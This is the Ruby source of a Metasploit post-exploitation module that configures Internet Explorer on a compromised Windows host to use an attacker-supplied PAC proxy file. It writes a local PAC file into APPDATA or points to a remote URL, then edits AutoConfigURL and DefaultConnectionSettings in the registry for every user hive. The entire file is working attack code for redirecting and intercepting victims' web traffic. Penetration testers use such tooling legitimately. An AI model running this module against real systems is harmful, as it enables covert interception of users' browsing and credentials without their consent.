modules/post/windows/manage/ie_proxypac.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::File
include Msf::Post::Windows::Registry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Manage Proxy PAC File',
'Description' => %q{
This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
option, a PAC file will be created on the victim host. It's also possible to provide a
remote PAC file (REMOTE_PAC option) by providing the full URL.
},
'License' => MSF_LICENSE,
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
'References' => [
[ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ],
[ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ]
],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_config_getenv
]
}
}
)
)
register_options(
[
OptPath.new('LOCAL_PAC', [false, 'Local PAC file.' ]),
OptString.new('REMOTE_PAC', [false, 'Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)' ]),
OptBool.new('DISABLE_PROXY', [true, 'Disable the proxy server.', false]),
OptBool.new('AUTO_DETECT', [true, 'Automatically detect settings.', false])
]
)
end
def run
if datastore['LOCAL_PAC'].blank? && datastore['REMOTE_PAC'].blank?
print_error('You must set a remote or local PAC file. Aborting...')
return
end
if datastore['REMOTE_PAC']
@remote = true
print_status('Setting automatic configuration script from a remote PAC file ...')
res = enable_proxypac(datastore['REMOTE_PAC'])
else
@remote = false
print_status('Setting automatic configuration script from local PAC file ...')
pac_file = create_pac(datastore['LOCAL_PAC'])
unless pac_file
print_error('There were problems creating the PAC proxy file. Aborting...')
return
end
res = enable_proxypac(pac_file)
end
unless res
print_error('Error while setting an automatic configuration script. Aborting...')
return
end
print_good('Automatic configuration script configured...')
if datastore['AUTO_DETECT']
print_status('Enabling Automatically Detect Settings...')
unless auto_detect_on
print_error('Failed to enable Automatically Detect Settings. Proceeding anyway...')
end
end
if datastore['DISABLE_PROXY']
print_status('Disabling the Proxy Server...')
unless disable_proxy
print_error('Failed to disable Proxy Server. Proceeding anyway...')
end
end
end
def create_pac(local_pac)
pac_file = session.sys.config.getenv('APPDATA') << '\\' << Rex::Text.rand_text_alpha((rand(6..13))) << '.pac'
conf_pac = ''
if ::File.exist?(local_pac)
conf_pac << ::File.open(local_pac, 'rb').read
else
print_error('Local PAC file not found.')
return false
end
if write_file(pac_file, conf_pac)
print_status("PAC proxy configuration file written to #{pac_file}")
return pac_file
else
return false
end
end
def enable_proxypac(pac)
proxy_pac_enabled = false
registry_enumkeys('HKU').each do |k|
next unless k.include? 'S-1-5-21'
next if k.include? '_Classes'
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
value_auto = 'AutoConfigURL'
file = @remote ? pac.to_s : "file://#{pac}"
begin
res = registry_setvaldata(key, value_auto, file, 'REG_SZ')
rescue ::RuntimeError, Rex::TimeoutError
next
end
if res.nil? # Rex::Post::Meterpreter::RequestError
next
end
if change_connection(16, '05', key + '\\Connections')
proxy_pac_enabled = true
end
end
if proxy_pac_enabled
return true
else
return false
end
end
def auto_detect_on
auto_detect_enabled = false
registry_enumkeys('HKU').each do |k|
next unless k.include? 'S-1-5-21'
next if k.include? '_Classes'
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\Connections"
if change_connection(16, '0D', key)
print_good('Automatically Detect Settings on.')
auto_detect_enabled = true
end
end
if auto_detect_enabled
return true
else
return false
end
end
def disable_proxy
value_enable = 'ProxyEnable'
profile = false
registry_enumkeys('HKU').each do |k|
next unless k.include? 'S-1-5-21'
next if k.include? '_Classes'
key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
begin
registry_setvaldata(key, value_enable, 0, 'REG_DWORD')
profile = true
rescue ::RuntimeError, Rex::TimeoutError
next
end
end
if profile
print_good('Proxy disabled.')
return true
else
return false
end
end
def change_connection(offset, value, key)
value_default = 'DefaultConnectionSettings'
begin
value_con = registry_getvaldata(key, value_default)
binary_data = value_con.unpack('H*')[0]
binary_data[offset, 2] = value
registry_setvaldata(key, value_default, ['%x' % binary_data.to_i(16)].pack('H*'), 'REG_BINARY')
rescue ::RuntimeError, Rex::TimeoutError
return false
end
return true
end
end